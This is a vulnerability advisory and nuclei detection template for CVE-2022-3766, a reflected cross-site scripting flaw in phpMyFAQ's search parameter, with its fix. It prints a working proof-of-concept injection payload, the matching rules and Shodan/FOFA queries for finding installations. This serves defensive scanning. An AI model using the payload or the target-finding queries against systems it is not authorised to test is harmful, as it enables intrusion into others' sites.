CVE-2022-3766· phpmyfaq / phpmyfaq· CWE-79
phpMyFAQ < 3.1.8 - Cross-Site Scripting
mediumseverity
6.1CVSS score
8.3%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users' browsers.
Impact
An attacker can Execute arbitrary JavaScript in victim's browser context
Fix
Upgrade phpMyFAQ to version 3.1.8 or later
How to confirm it
Send: GET {{BaseURL}}/index.php?search=1af%22+onclick%3D'alert(document.domain)'
Positive when: contains "value=\"1af\" onclick='alert(document.domain)'" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-3766 -u <target>
The full check
id: CVE-2022-3766
info:
name: phpMyFAQ < 3.1.8 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users' browsers.
impact: |
An attacker can Execute arbitrary JavaScript in victim's browser context
remediation: |
Upgrade phpMyFAQ to version 3.1.8 or later
reference:
- https://huntr.dev/bounties/d9666520-4ff5-43bb-aacf-50c8e5570983
- https://github.com/thorsten/phpMyFAQ/commit/c7904f2236c6c0dd64c2226b90c30af0f7e5a72d
- https://nvd.nist.gov/vuln/detail/CVE-2022-3766
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-3766
cwe-id: CWE-79
epss-score: 0.08283
epss-percentile: 0.94963
cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
vendor: phpmyfaq
product: phpmyfaq
shodan-query: http.html:"phpmyfaq"
fofa-query: body="phpmyfaq"
tags: cve,cve2022,phpmyfaq,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?search=1af%22+onclick%3D'alert(document.domain)'"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "value=\"1af\" onclick='alert(document.domain)'"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://huntr.dev/bounties/d9666520-4ff5-43bb-aacf-50c8e5570983
- https://github.com/thorsten/phpMyFAQ/commit/c7904f2236c6c0dd64c2226b90c30af0f7e5a72d
- https://nvd.nist.gov/vuln/detail/CVE-2022-3766
Use this check only on systems you are authorised to test. Where the data comes from